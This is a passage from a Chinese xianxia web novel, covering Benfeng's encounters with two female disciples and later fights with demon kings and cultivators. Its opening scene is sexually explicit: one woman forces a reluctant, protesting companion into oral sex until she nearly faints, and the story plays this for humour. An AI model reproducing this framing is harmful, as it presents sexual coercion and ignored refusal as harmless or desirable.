本风看着小潮了的飞棋,暗笑了几声:这妞比飞棋还投入,就在一边旁观,竟然就来了那个。
飞琴红着脸,心里有些着恼:“完了,刚才……刚才都让飞棋看到了,要是让门主知道了怎么办?”飞琴和飞棋一直把金阙圣女当成门主,从来没有什么事会瞒着她。这事儿肯定瞒不了了。
转念又一想,自己和本风公子还不知能不能活着离开这个山洞呢。一不做二不休,干脆来个更痛快,更疯狂地。这妞银牙一咬,又抱住了本风,低低的声音问道:“还有没有更疯狂地。”
本风抓抓脑袋,也象初哥一样,装无知:“这……这个,有没有更疯狂地我也不知道……要不咱们接着来?”
飞琴羞羞地打了本风的屁-股一下,好象刚才是自己硬上了本风似地,缩缩身子,脸上的表情十分怪异,看了本风一会儿,突然“噗哧”一声,笑了出来。
本风也笑,趁机捧住飞琴的脸亲了一下。飞琴挺了挺高耸的玉兔,把嘴对上,唔唔着,一手抓住了本风的物事。
“还要吃你那东西,好怪哦,粘粘的……”天琴放下了羞耻心,对着本风的耳朵道:“我和飞棋都是有福同享地……我先让给她,你可要跟对我一样对飞棋地。”
“恩,恩,肯定一样。”本风忙不迭地应了。
飞琴转脸叫飞棋,飞棋扭捏着,死活不干。这妞心里好矛盾,可就是那层男女大防的窗户纸还没捅破。
“咱们有难同挡,有福同享,要是门主怪罪下来,咱们一起面壁就是了……本风公子对咱们两个可是有救命之恩的。”飞琴看着飞棋只知扭捏,稍稍有点儿焦躁,离了本风,把飞棋拉到了本风身前,皱着眉头说道:“让你来还这么麻烦!这样好了,我教你,你把嘴张开,要张得大一点儿。”
飞琴真把自己当成已经做成闺事的女人了,自作聪明地把飞棋的头摁到了本风那物事的跟前。
“别了,好吓人了。”飞棋赶紧把头转开了。
“明明喜欢本风公子,还要假惺惺,又不是要你象门主一样,不近男色。”飞琴很想看看,飞棋的小嘴儿含着本风那物事的样子,是不是也会象自己一样,整个嘴都塞满了,喘口气都不顺畅。
飞琴用手把飞棋的脸转向了本风那物事。飞棋怕怕地皱着眉,“我要吐了,你别……要是让门主知道了咱们这样,会把咱们逐出门墙的。”
飞棋说归说,还是依了飞琴,头往后仰了仰,螓首斜靠在飞琴肩上,一张嫩俏俏的玉脸,下颔尖尖,玉一般的粉颈细致,扭捏的姿势,倒显出了跟飞琴不一样的曲线。
飞棋身形苗条如柳,虽比不上飞琴那样的傲人弹大,形状却玲珑有致,映出的轮廓犹如一枚昂扬的吊钟——飞棋的那未经人事的玉兔才是至极的吊钟。飞棋上身是湖蓝的绣锦肚兜、薄罗羞遮衫被水浸湿了以后,更裹出两只尖翘昂扬的玉兔,本风爱极的看着,那对玉兔,可堪一握,浮凸似樱蕾一般,极是娇妍。
女人的样貌之美,各人有各人的不同,男人们的喜好当然也不同,可是,飞棋的那俏俏的模样,无论什么样的男人看了,都会说是天生的美人胚子。
本风见她容颜美俏,一想到要象刚才跟飞琴一样,要不堪的把那物事在飞棋的嘴里唐突,不免有些迟疑。
若是这样要了两女的处子之身,有点太没有章程了……
但腿间的昂起物事却极为着急,勃然以待,那上面还沾满了飞琴的口水,在火光下映得一片晶亮。
飞琴颇有些女人家的嫉妒,拍了拍飞棋的脸颊,道:“飞棋,你,过了这个村可就没这个店了……过了今晚,咱们有没有命还不知道呢?”
飞琴索性从后面将飞棋抱住了,往前推了推,捏了捏飞棋的嘴唇,作怪地道:“张开。”接着又朝本风招手:“快对上!”
本风很不好意思,硬着头皮挺了物事对上了飞棋的小嘴儿,物事一点一点地没入两瓣嫩的之中。那物事益发暴胀起来,才入得了一点儿,便难再进分毫。
飞棋刚才的晕潮才过去,猛一下,被飞琴硬按住吞了这丑怪的东西,竟然有点迷糊了,贝齿有点打战地乱咬,也不知道避开那好丑的怪物,弄来弄去地刮得本风咬牙皱眉,毫无可言;末了又嗑撞在那三分之一处,小嘴儿一紧、微微咬着,本风以肉就齿,无论昂扬得再粗再硬,终究比不过她扁贝般的牙尖,皱着眉头道:“飞棋姑娘!实在……实在疼得紧。”
飞琴娇嗔地瞪了本风一眼,又对着飞棋道:“平时打坐练功,你都比我能忍,这一会儿怎么这样了,简直笨死了,来,我助你一臂之力,好好地学着些!”飞琴扶着飞棋的下巴,轻轻地让飞棋把嘴张开了些,另一手握住本风露在外头的大物事,慢慢地导引着向前滑动。
本风的前端深入进飞棋湿暖的小嘴儿,触感十分腻润酥润,虽仍被牙齿弄得有些刮疼,但一见飞琴低头认真教导飞棋摸弄的模样,想起她那柔软至极的傲人椒瓜,以及适才缠绵极致的样子,一边是美若仙子的飞棋,另一边是那个精灵得一点就透、很是入门得乐的的傲胸的飞珍,忽然就兴致大发,双手撑住岩壁,越发来得凶猛。
飞琴惊讶之余,不免拈酸带醋,心里暗恨:“哼,刚才对我……那个时候,也没这般卖力。哼,还不是我给你们机会。!”感觉到郁闷,不自觉地小手一松,飞棋的小嘴儿又咬了本风一下。
“啊呀,都是我不好。”飞棋羞红了脸,把那怒胀的物事吐了出来。
“不要紧,不要紧。”本风赶紧又塞了进去。
已到了紧要关头了。本风结实的肩背肌肉上挂满汗珠,忽然大物的末端一痛,似被上下两排贝齿嵌进肉里,他不敢向后拔出,为避那被咬的地方,只得扶着岩壁往前送了一送。
飞棋唔唔连声。识念清醒了好多,顿觉嘴中被胀得满满地,几乎直直地抵到了喉间,舌头牙齿间的缝隙全被塞满了,口中粘液外流,手足无措地不断挣扎。
牙齿又咬啮。
本风唯恐被她一口咬断,忍痛不敢乱动,连忙叫道:“飞琴,飞棋,你们都不要乱动了,不要乱动!我……我再一下便好。”他不确定下面是不是真被咬得很惨,很想看看是不是流血了。要是伤了命根子,可就糟了。
想出却又出不来,飞棋又不知所以地往前顶了一顶。
飞棋又要晕过去的感觉,双手软软扣在飞琴的身上,飞琴有点紧张地说道:“不成了,快不要弄了!”
本风不敢乱动,顿时陷入进退维谷的窘境,忍不住叫道:“戒急,戒急,忍,忍过去就好了!”
飞棋呼吸不畅,即将昏迷,松手之前灵台一清,嘴张大了,大喊道:“快,救我,救本风公子。”话一说完,脖子一歪,倒地不起。
“飞棋是不是死了……这都怪我……不该逼她的。”飞琴真的紧张了,赶紧把飞棋抱到了怀里。
飞棋嘴里没了那胀物,悠悠地吐了一口气,却连蹬腿的力气也没有了,闭着眼睛呜呜呜泣了几声,口涎从张大的小嘴儿里淌了出来,容色虽然有些惨然,却异常的美艳。
本风看得呆了,忽听飞琴沉声道:“还楞着做什么?快救人啊!”
救人。救人是本风郎中不容推辞的。本风捏住飞棋的手腕,心所精阳缓缓地送到了飞棋的体内。
过了一会儿,飞棋脸色恢复如初。本风这才顾得上看了看被飞棋咬伤的物事。还好,只是被咬破了一点儿皱皮,渗出了一些细微的血丝。听着飞棋呼吸如常,不觉放下心头大石。
飞琴悄悄的贴紧了本风,细声道:“还要不要弄了?”
第102章 三百圣女,魔王法则[十八]
“相公,奴家和勒兹妹妹、雪阙妹妹找你来了,你安心地做你的,外面的那些不三不四的,奴家会收拾他们。”
明月夫人的声音悠悠扬扬地,在神木山的峰谷间回荡。
“相公,黑莲和云叶永远都是你的女人,不离不弃,山无棱,天地合,才敢与君绝。”黑莲圣女和云叶公主的示爱真言也忽远忽近地传到了本风的耳里。
神木山的几座山峰间,本风的夫人们分成了三群,很不低调地搜人。
轮乘尊者和百身尊者布下了三重隐形法阵。两位欲取黑莲雌雄珠的神王倒是安闲地在弥逻峰上会当凌绝顶地蔑视昆仑。
巴弥逻神王识海远放,看着睛跟摩罗山遥遥相对的昆仑,一脸傲然地替昆仑掌教惋惜:“昆仑败落了,十大金仙,天莱山一战,困六留四,此番三大魔王元神爆灭,昆仑掌教若是对摩罗山无动于衷,就该咱们去昆仑圣境安鼎炼丹了……神山万丈,青鸾飞鸣,仙不长尺,魔乘隩墟……”
巴弥逻王的一只长手凭空抓了一把,手中显出一个只有三根木柱的木笼,又似吟诵魔咒一般,口吐狂音:“宗掌教,再过一些时日,咱们不妨就在昆仑下几盘闲棋如何……若是宗掌教不嫌我这个木笼太过简陋,倒是可以让宗掌教屈尊而就。”
哈哈哈!
巴弥逻王的狂放,也让一直闭口不语的赞摩置王似笑非笑地露出了一脸的狰狞。两位神王,一位是倜傥,狂放的傲视一切,一位则狰狞得让人一看就大叹造物主的鬼斧神工。
……这两位对神木山上轮乘尊者和百身尊者的死活不管不顾。
两位受不住了。
他们面对着两位世外闲人,半点儿从容也欠奉。实力相差太大,能脱身就是万幸了。脱身是不可能地,神王下了死令,黑莲雌雄珠既然得之,就不容出现任何意外。
一声娇笑传出,鱼眉圣女俏俏地从一株神木下缓缓地绽出了身形。姣花照水,美艳不可方物。
“你们这些人,真是的,一见面就打生打死地,人都跑了,巴弥逻神王放出了他的束神笼,要去昆仑设鼎炼丹了,天下的修仙之地要成为咱们神王的了,走了,去昆仑,他们的紫霄炉里,可是有你们最想要的东西。”
鱼眉圣女话可不是空说,玉手一扬,放出一件法宝。
昆仑镜。镜中,显现的是两位神王在弥逻峰上目中无人凌绝昆仑的神态。亲临其镜的感觉。巴弥逻王的那道环绕周身的虚无炎火,让轮乘尊者和百身尊者不再有半分怀疑。
闪。
不战而退。鱼眉圣女放出的那个以假乱真的昆仑镜,堪比巴弥逻神王的魔令。鱼眉圣女的来历,两位尊者暗中知晓——巴弥逻神王暗中联盟的强横势力。七大妖王之一的罗浮妖王,真正的实力比两位神王还要高出一截。
心照不宣。
两位世外闲人,直到此时也未出一声。东佛山不知山中日月长的禹经、乘弱,倒象是闲散地出山买酒的樵夫。一脸的老皮,眼神也暗淡,背也有些驼。
若是再背上两捆山柴,手里提着砍树的斧头,就是如假包换的樵夫。
“哼,两个老东西,就知道假惺惺地,三百年前,还知道拎一把破斧头,今番,连样子也不装了,人家不跟你们斗了,束手就擒就是了。”
鱼眉圣女撒娇地把两只手贴到了暗绣了凤身的素白长裙上,眼睛却看着三棵神木老根盘成的山洞的洞口。
本风和飞琴、飞棋、紫茫圣女就在这个幽深的山洞里。
禹经说话了,声音如老木入水,“舍不得,那就是要,我们不拦着你,人在。”
“我不要你们的顺水人情,人家想要什么,不想要什么,全凭本心,不用你们两个老东西提醒。”
鱼眉圣女以昆仑镜显映洞里的乾坤。
本风已经不在洞里了。
……
志在抢宝的冯小怜怎能眼看着金莲雌雄珠落入他人之手。冯小怜百般缠磨,终于跟闷摩罗王做成第一单交易。闷摩罗王用黑暗圣堂隐匿了本风和洞里仨妞的信息。
黑暗圣堂闯过三道云气法阵,闷摩罗王怪叫一声,把本风和仨妞放到了一道山谷之中。闷摩罗王经过这一番折腾,顾不上说话,一团散淡的元神游丝隐于黑暗圣堂中,心无他物的聚炼元神。
本风出到洞外,先痛痛快快地喊了一声:“我又看到日轮高升了,太好了。”
不仅看到了高升的日轮,还看到了花花草草,还有飞禽,还有走兽。
日照山谷生紫烟,遥看……妖王翩翩来。妖媚不输明月夫人的鱼眉圣女,一袭白衣白裙,手臂上缠着蓝光异闪的两根老藤,飘飘欲仙地飘到了本风跟前,几声娇音,温柔地传到了本风的耳里:“人家离了你,夜难成眠,你想人家了没有。”
“想了,想得我一见到你就头大……罗浮妖王,你不要老是阴魂不散地缠着我。”本风见了鱼眉圣女倒也没客气,直抒胸臆。
“你嫌人家,人家是真心对你……人家好伤心,好伤心。”鱼眉圣女垂然欲泣。
……
“妖女,此番,看你还能逃到哪里?”
山谷的另一边聚集了一群人。
本风认出来了,是仪鼎宗、慈剑门、极元门的道修。看他们的泰然自若的样子,至少也是各门中出类拔萃者。再一细看,竟然看到几位门主级的人物。
有几位名字叫不上来,人却认得。
明月夫人等一众夫人也聚到了山腰的一座石屋前。
“谁敢欺我家相公!鱼眉妹妹,这一回,奴家定是不饶你了。”明月夫人的声音总是透着如假包换的真心关切。
山谷中不断有御使飞剑的道修聚集。
今日又免不了一场血杀!
只不过,不知道,正门道修们是不是又要把本风当成必诛之人。这些人,未必都是好杀之人,此番聚集,肯定又是什么威统道门的昆仑令在作怪。
昆仑掌教宗大掌教是不是也跟闷摩罗王这货一样,修仙修得腻味了,无事生非地要找上几个妖王、魔王的,解一解几千年的寂寞。
本风把甜睡中的紫茫圣女抱到一棵老树的老干上倚住。老树有一个枯了一半的树窝,紫茫圣女可以继续酣眠。
天际三道光华,蜀山七彩飞舟出现了。
师印烈。另两位是身着黄衫的中年道姑的打扮。
看到师印烈,本风招了招手:“师前辈,咱们又见面了,我那正喜兄弟和天琴姐姐在你们蜀山炼得可有长进,可想念得紧。”
“说来惭愧,我和两位师叔此番前来,却正是为着两位师侄,不瞒你说,你的正喜兄弟和天琴姐姐被闷摩罗王强掳来,我们刚刚搜寻到这里,才确认此事是闷摩罗王所为。”师印烈并不避讳蜀山的弟子落于闷摩罗王之手。
闷摩罗王可以自傲了。引动蜀山这么大阵仗地寻他的晦气。
鱼眉圣女轻哼了一声,对着本风说道:“臭小子,每一次都有人搅咱们的好事,你可记着,下回要是再碰上了人家,可不能再邀这么多人来,人家好羞地。”
“青山不改,绿水长流,你想走多远就走多远,我要是实在寂寞得紧了,会偶尔想你一下地……真的。”本风无害地朝鱼眉圣女笑了笑。
“人家恨你。”鱼眉圣女跺了跺脚,身子飘飘而起时,两臂一抖,腕间的十七道玉环飞出,本风的身前立时土石飞崩。
师印烈飞剑放出,一道剑元虚空凝形,成了实质的光轮,收托住往山谷中急跌的本风。鱼眉圣女却露出一抹浅笑,“印烈,你上人家当了,一截朽烂的木头何至于你如此关切李本风这个臭小子。”
鱼眉圣女隐于胸间的那只昆仑镜竟能以物化物。一截木头化成了本风的实形。
本风身子急跌,手还抓着飞琴和飞棋。两女数度经历生死,虽然跟鱼眉圣女的修为相差极其悬殊,却也面无惧色。
恰于此时立在山谷之上的金阙圣女,立时放出金阙雷音剑。剑华绽放,三道凛冽的雷音劈向鱼眉圣女。
师印烈身后的两位中年道姑出手了。一道剑元救人,一道击向鱼眉圣女。无华的剑元,虚空而飘。
整个山谷象是被吸住了一样,又象是塌陷。剑元过后,整个山谷缓缓地映出了七彩光华。鱼眉圣女、本风、飞琴、飞棋和金阙圣女的金阙雷音剑都罩在其中。
稍倾,山谷恢复如初。
鱼眉圣女的白衣上染了三朵血花。
一抹残笑,鱼眉圣女身形飘起,象是被风吹散的轻絮,一片一片地飘到了谷底。
鱼眉圣女宁为玉碎不为瓦全。受了一记本命剑元和本风的一记印轮,也放出了本命法宝玄阴碧焰珠,击中了本风。
本风识海飞散的一霎那,叹了一口气:“鱼眉姐姐乃是性情纯真的妖王,今番舍诸一切,太不值得了,鱼眉姐姐,你这又是何必呢。”
肉身撕裂而分的本风,却再一次处在了三位一体的玄妙中……极度痛楚着,本命元神的彼岸漫长连接于天莲星宫,慢慢地归升……渐渐地合融于本命莲婴中。
剧痛不停地扩散,心所也象是一滴水被强行地爆开!
飞琴和飞棋两女痴痴地托着本风完全不成人形的肉身。
“我还好好地,没事儿,就是胳膊腿儿什么地不归我管了。”本风传音给飞琴和飞棋。
三人就这么毫无方向感地飘落…… 10-06
第103章 三百圣女,魔王法则[十九]
本风和飞琴、飞棋的周身全是云气。本风的肉身碎裂得不能再碎裂了,元神彼岸位的识海脉线却探伸自如,不断延展的元神彼岸位,环绕着一道又一道旋涡似的识海脉线,脉线自如地探伸,查测到了下方有一道天梯似的石阶。
一道绽开的剑元,凝成了一座莲叶似的飞舟。本风这才知道能从鱼眉圣女的玄阴碧焰珠中逃生,非是侥幸,乃是蜀山前辈的本命剑元所护。
剑元绽凝成的飞舟托着飞琴、飞棋两女。两女张开两片大叶托着本风烂得不能再烂的肉身。飞舟落到了石阶上,飞琴声音极轻地问了一声:“本风公子,你还能说话吗?”
“能说话。你们顺着这个石阶往上走,会遇到一道雪雾,穿过这道雪雾,就会有一座石屋,很好看的石屋,石屋的周围有紫碗草,你们可以把我放下,采了紫碗草上的雪露,我就可以想办法把我的肉身重新聚炼起来了。”
本风的元神彼岸识海就象是那两位弈棋的世外闲人一样,把整个山谷上的花草树木显映得清清楚楚。只是有几处被法阵环绕的所在,黑蒙蒙地,瞧不出里面的乾坤。
两女知道本风还能说话,还去能探测到她们所看不到的空间,很高兴,心念归静,托着本风烂粽子一样的肉身走了二十几级台阶,走进了雪雾。
雪雾里有隐形法阵。两女看着近在眼前的石屋,走了一圈儿,竟然又走回了原地。
“邪门儿,什么人在这儿布的法阵。“本风的识海探测不出这是一道什么怪异的法阵。
飞琴和飞棋两女虽然经常在紫摩罗山中上上下下,也遇到过十几次很大的雪雾,可是却从没有见过这么浓重的雪雾,这雾气很是蹊跷。两人互望了一眼,把本风的肉身放到了一棵枯死了的老树的树干上,放出了合光飞星剑。湛蓝的飞剑光华,在雪雾中穿来穿去。两女想用飞剑探出一条通往石屋的路。
飞剑可以轻易地飞到石屋前。两女赶紧托起本风的肉身,随着两柄飞剑划出的光华往石屋走。走了片刻,飞琴低呼了一声,“真是见鬼了,又走回来了。”
两女愣愣地看着那棵放置过本风肉身的枯树。
那树是枯死了的神木山上的神木。
飞棋忍不住有些惊讶的说道:“这棵树怎么会在这里?”。
神木山上的十七棵神木,飞棋都能认出它们的样子,那些守护神木的灰衣老者都给神木起了名字的——这棵不知怎么到了这里的神木的名字叫霜蛟。
“你们等一等,我试试我的元神能不能过去。”本风想试一试,让自己的本命莲婴穿过雪雾。本风突然就有了这么一道识念——让彼岸位的元神到远一点的地方游荡一下。三位一体的玄妙,仅仅是一种虚空中的玄妙——彼岸位的本命元神融入本命莲婴的天莲星宫,象是虚空中的静物,未能象肉身一样,随意地行止。
虚而不实——肉身的四肢想动就动,可以触摸拿捏实物,本使元神的识念也可以让本命莲婴拿捏点实物——以往,本命莲婴脱开肉身,只是突变中的被动救急,并不是本风的元神识念如意而使。
处于隐匿着怪异阵法的雪雾中,本风的神识颇是好奇,想试着让本命莲婴抓一周的那些飘飘摇摇的雪粒。
一颗颗的雪粒象是珠子一样,闪着淡淡的微茫。本命莲婴的小手动了一下,抓住了两颗雪粒。
如臂使指。本风的本命莲婴受元神识念的指挥,可以象肉身的四肢一样活动了……啊哟!好惊人的晋境,本风的元神识念想去抓一下自己的破烂肉身,结果,本命莲婴抓得过于用力,弄得身心一阵剧烈的疼痛。
“咦?什么人?”有人突然出声了。
飞琴和飞棋警觉地朝发声人藏匿之所放出了飞剑。发声之人颇是诧异地变换着藏身的地方,再次出声询问:“你们是哪个道门的?”
本风发声:“我们只是路过,需要到石屋治伤,却被雪雾中的法阵给困住了。不知阁下是何方高人,若法阵是前辈所设,还请行个方便。”
本风知道,若是碰到棘手狠辣的宗主级人物,以飞琴和飞棋的道门修为,肯定抵挡不住,倒不必因为误会,惹来不必要的纷争,所以,出声颇是客气。可是,本风出声好大一会儿了,对方却丝毫动静也没有。
“哼!怎么,就想这样将我们困在此地不成?你们是何方神圣,为什么要装神弄鬼的!”飞琴性子急,半响没听到什么回音,便忍不住高声喝问。
“装神弄鬼?我们这是装神弄鬼吗,看你小小年纪,如此不堪的修为,却敢口出狂言。”飞琴的话一出口,那隐在法阵中的声音却是又响了起来,“既然如此大言不惭,那看看你们有什么过人的手段,哼!”
哼声刚完,雪雾中,只听呼的一声,一道华丽的光影朝着飞琴和飞棋冲了过来。
本风识念波动,龙形蛇影剑剑身中的黑莲雌雄珠直接放出了一道浓绿的剑华,轰的一声,十几道绿茫绽出,将那道华丽的光影一下子就绞得粉碎。一声气极的冷哼,却是那隐在法阵中的人发出的不知名法宝被本风的龙形蛇影剑的剑华给破了,听那人的声音,显然是受了伤。
倏的一声,雪雾之中另外一侧突然飞出数道三色光华,本风的龙形蛇影剑再度发威将那股光华瞬间绞散。
“竟敢毁我法宝,什么邪异的妖修,这么厉害!”一道又惊又怒的声音响起。此道声音却很是响亮,显然和刚才那人不是同一个人。
“砰”的一声,有人惨呼一声,一道灰色的身影突然从雪雾中倒飞而起。
本风识念回收,本命莲婴如静物一般禅坐。刚刚那一瞬间,本风的元神识念扫过,清楚地发现了一个人的气息,一道金刚印轮轰出,那人竟毫无知觉地生受了,身体被轰到了雪雾之上。
本风此番出手,乃是迫不得已,冒着奇险小试一把。本风肉身遭受重创,试过三位一体的相融而动,元神识念竟然可以如臂使指地驭动龙形蛇影剑,挡了两把飞剑,重创了一个道修。本风从净土山上开始,连番遭逢实力悬殊的敌手,对敌经验是今非昔比。虽然还未能三位一体地如意运转,却可以仗着龙形蛇影剑的威力和黑莲雌雄珠的灵性,护住自己的元神。现下,倒也不怵那些隐在法阵中的人。
法阵中不知隐匿了多少人,还是小心为上。本风不敢大意。若是有一个人的修为处在罗浮妖王的级数,自己定然是暴神散魂了。
飞琴却是大声叫好:“本风公子,太好了,我和飞棋就这样冲出去!”飞琴见到本风的龙形蛇影剑两度发威,心下顿安。
扑!扑!扑!飞琴和飞棋御使飞剑,托着本风的肉身往前刚刚奔出数丈,周身的范围就暴起了数道不同颜色的光华,显然是飞剑被对手的法宝和道门术法击中,但是本风的肉身却安然无恙,反倒是身侧一道黑影躲闪不及,被飞琴和飞棋的合光飞星剑斩中,那人腿上受伤,显出身形,暴跳着乱骂。
“这些人到底是些什么人,倒象是日炉山中围剿自己的那些俗世道修!”本风纳罕,元神识念不住地四处探查。
本风的龙形蛇影剑前后卫护,飞琴和飞棋奔势不停。两女眼见雪雾中的对手层出不穷,不免有些心惊,却心志如一地要闯出雪雾,让本风有个安稳之地治伤。两柄飞剑疾速飞行,挡抵着袭来的法器和飞器。
又奔出十数里,却忽觉眼前豁然开朗。本风感觉法阵的罩压忽然没有了,向外看时,却发现眼前的雪雾已经消散,是冲出了法阵,可以松一口气了。
眼前一道高高的石阶,石阶旁边是一栋的石屋,看起来象是一座透明的冰川精雕刻就的。石屋前有几棵只有不到两米高的紫叶树,树根周围长着十几棵紫碗草。
抬眼而望,附近的峰石上影影绰绰,似乎不下四十几道身影。
嗖!一道速度极快的墨黑的飞剑,朝着本风的龙形蛇影剑飞撞过来,铮的一声,墨黑的飞剑跟龙形蛇影剑硬拼了一记。
“是受了重伤的本风公子。大家停手,我是浮度山极元门的元成。敢问另两位可是金阙门下的飞琴、飞棋吗?”元成显身出来,朝着飞琴、飞棋拱了拱手。
听到元成的说话,御使那道墨黑飞剑的道修把飞剑收了回去。
“见过渔阳华赤老前辈!”
“见过北海宁若一老前辈!”
“见过郁凌岛朝金圣老前辈!”
人群中不断有人很惊奇的声音,朝几位道修大成的前辈问好。
被人呼出名字的三位并未如一般年轻道修执回礼,只是在人群中淡然应之。
“哇!夷望山真莲门!钟离奇老前辈!”
此声一出,一众年轻道修都禁不住抬头张望。真莲门乃是世外道修,名气虽不如昆仑蜀山,却也是俗世道修需要仰望的强大存在——真莲门之所以影响如此之大,却是因为每隔十年,真莲门都会从俗世道门中选一位出类拔萃的年少者入真莲门修习上乘法要,三十年的修习,就可以晋入先天之境。
真莲门门主一显身,一众道们弟子无不啧啧称奇。
钟离奇的七色真莲飞剑停于本风身前,一双深幽如井的眼睛看了看大叶上本风的肉身,摇一摇头说道:“若是我猜对了,罗浮妖王的本命法宝已然暴碎了……若是我猜错了,那就是罗浮妖王的真正实力可以抗御蜀山金仙的本命剑元,化身而隐,假以时日,罗浮妖王当越居七大妖王之首。”
第104章 三百圣女,魔王法则[二十]
七大妖王。本风只知道明月夫人乃是与北海地冥宫宫主齐名的妖王,再加上鱼眉圣女,仅知道三位。还有四位妖王尚未识得一面。
今番从真莲门门主钟离玄奇的嘴里说出来七大妖王,那就不是传说了,是真正的存在。真是难以想象,若是七大妖王齐聚大隋的长安城,皇城二圣的腿肚子肯定要转筋。
天下气运,并非俗世的皇室之人能够掌控。一树繁花一树落,朝朝旧事朝朝结。在平常人看来威武之极的九五之尊,只不过是被世外的那些强横的存在摆弄来摆弄去的道具。
本风不由得叹了一口气——还是担心自家的小命好了,保命至上。有命在,一切才有可能,才会等到自己命中注定的机缘。
又是一阵爽朗的笑声。
一位身着考究青蓝长衫的中它年人倏忽飘落到了本风跟前。此人就象是早就等候在这里一样,突然就出现了。
“钟离奇,咱们打个赌吧,我赌罗浮妖王已经然形神俱灭了,可愿跟我小赌一把?”身着长衫的中年人似乎跟钟离奇相熟,而且,在同一个辈份。
“赌又如何,不赌又如何。”钟离奇背负双手,一双古拙似老鼎之色的大手猛然一劈,身侧一块七丈高的巨石上,显出来一块平整的石面。脚下的飞剑弹起,象是文士的画笔一样,倾刻间,画出了一个玉人宛在的鱼眉圣女。
飞剑堪做画笔。钟离奇还真有闲情逸致。
一众道修仰头看着石壁上的玉人时,钟离奇悄然而去。那位身着青蓝长衫的中年人,默然注视着钟离奇以剑代笔画在石壁上的鱼眉圣女,轻叹一口气:“因能极于情,故能极于道……钟离已经堪破情关了,我还能为她做什么……画蛇添足吧。”
此人亦是性情纯真。
细长如玉的手指弹琴一般,将石屋前紫碗草的叶子悉数弹到了空中。手指再次弹动,石壁上的鱼眉圣女已是着了一袭淡淡的紫衣。
你去吾亦去,再不视紫衣。中年人的一柄紫华飞剑刻完十个字,竟轰然而碎。
一声长叹,人影顿消。
“散了吧,走了吧,咱们都是空欢喜一场。妖女的妖丹怕是已经被人抢先了。”那位飞出墨黑飞剑的人语带激愤地看了看石壁上的画和字,踏住飞剑朝山下飞驰。
四五十号堪堪突破先天之境的道修,布下隐形法阵,为的就是追截罗浮女王的妖丹。七百年妖王的妖丹,得之,当然是莫大的便宜,一个甲子的精修,也比不上罗浮女王七百年妖修的妖丹。
当然,得不到妖丹,罗浮女王的几件法宝,亦可退而求其次。已经有几个精于算计的道修,下到谷底找寻那十七个玉环。
道修们很少有人看一眼散摊在大叶上的本风的肉身。极元门的元成,还有后来赶上山来的仪鼎宗的采蕤和采象,却并不去搜寻妖王遗落的法宝,站在本风的身边,很关切地问飞琴和飞棋,本风是怎么被罗浮女王暴碎肉身地。
慈剑门的十二个弟子,结成飞剑法阵,护住了本风的肉身。
本风极是感慨,出声道:“这世间,所谓正道邪道,本就是一笔糊涂帐,你们能这么对我李本风,我记下了,假若有一天,我也能象昆仑一样,威统天下道修,我绝计再不会去分什么正道邪道,罗浮女王说得对,做事不违本心,想要的就要,不想要的就不要,做一个俗世常人也好,成就地仙金仙也好,妖王也好,魔王也好,绝计不听别人摆布。”
采蕤听到本风的话,面露喜色,“我以为,你的肉身再也不能修复了,只能象血蛛王那样阴修夺舍了,你竟然……已经是元婴出窍的境界了,可喜可贺啊。”
元成老成地说道:“我是先见到了龙形蛇影剑,查测到本风的本命元神已经游离肉身之外了。”
“啊,本风,你这么厉害,我们仪鼎宗只有宗主和两位太师叔,才堪破了元神游离肉身的境界,那不是地仙后期的修为了吗,真没想到,你太厉害了。”采象毫无心机,满是崇拜地说道。
本风却道:“我自己的这点本钱,我知道,先天后境已经是勉强了,只不过是机缘巧合,是蜀山前辈的本命剑元护着,我才侥幸一试,当下,能不能把我这肉身修复还难说呢?”
“生受了罗浮女王的本命法宝,已经是叫人难以置信了,竟然,肉身暴碎之下,还能跟我们这些笨人扯这些没用的话,这要是传出去,怕又要轰动了,我们不耽误你治伤了,还得赶紧追上几位师叔,我们仪鼎宗在长安城等你,你治好了伤,长安城的热闹可要去看一看哦。”
采蕤又看了一眼本风的肉身,皱了下眉头,和采象慢慢地踩着台阶往山下走。采象有好多疑问,很不舍地回头看着,嘴里还唧唧咕咕地问采蕤:本风到底是什么境界的修为了。采蕤笑着道:是李本风的修为。
山下有一个素衣的女子身背了紫茫圣女往山上走。
本风看见这个女子,禁不住咦了一声。这女子就是轮回之境中本风所见的那个十几岁的围着仙宫踏着飞剑飞来飞去的仙子。
惊疑之下,本风的彼岸识海里又显映了冯夫人、紫茫圣女和自己为了寻仙道走了几千里看到了雪山,却无果而终。本风就是被这个素衣女子点了一下脑袋。
素衣女子象是家常女人一样,一步一步地登着石阶,走到了石屋前。抬眼看了一眼本风的肉身,有些凄然地轻声问了一句:“就是你伤了鱼眉妹妹?昆仑镜也没护住她?”
素衣女子看着本风的眼神却并无恨意,象是在自言自语。她的手里拿了鱼眉圣女的昆仑镜。
“都是我这双手害了你,我终究还是做不出昆仑镜,倒不如就叫它凝眉镜好了。”素衣女子说完话,又看了看飞琴和飞棋,“你们两个,把他抬进来。进了这石屋就没人能伤着他了。”
慈剑门的弟子把卫护本风肉身的法阵收了。显然,他们和极元门的元成都碰到过这个素衣女子。
他们用惊异的眼神看着素衣女子。
另一个妖王?
等到飞琴和飞棋把本风的肉身抬进石屋。元成和十二个慈剑门的弟子便悄无声息地下山了,好象很怕打扰了这个怪异的素衣女子。
怪。素衣女子是敌是友?若是敌手,慈剑门的弟子就算不敌,亦会放出联络信号,联络正统道门,决计不会舍本风而去。本风再度与慈剑门的弟子遇上,相信自己的判断不会有错。极元门的元成亦不会这样无声无息地离开自己。
是友?
就算是友吧。反正,怎么也查测不到素衣女子对自己有敌意。
素衣女子又从山下背上一个女人来,神缨圣女。
石屋里有一张很大的石床,几乎占了整个石屋。
素衣女子将紫茫圣女和神缨圣女放到了石。石床象是一座精致的冰雕。石床周围的石壁上,全是一些女人的精雕的画像。鱼眉圣女的画像只画了一袭白衣,是线条和轮廓。
素衣女子拿着一把短剑,微蹙着眉头继续自言自语:“想不到鱼眉妹妹拿了我的凝眉镜,还是抵不过蜀山的飞剑,你这样,可是要让我毁掉我的双手吗?”
“怎么,你和鱼眉妹妹早就认识?”本风看着微蹙着眉头的素衣女子,忍不住就问了一句。进了这石屋,本风的肉身摊到了石,痛楚消减了很多,有点儿小闲情地想跟这个怪异的素衣女子聊聊。
“我的这双手真是要不得了,这屋里刻的女子,都是因为我的这一双手,才成了一尊又尊地没有血也没有肉的雕像。”
素衣女子说话间,挥起短剑,就要斩自己的手。
“你这又是何故!”飞琴的飞剑挡住了素衣女子的短剑,“本风公子跟罗浮女王,根本就不是为了你那片不中用的镜子,是罗浮女王不甘心那颗珠子,她是为了那颗珠子,不是为了你的那片不中用的镜子。”
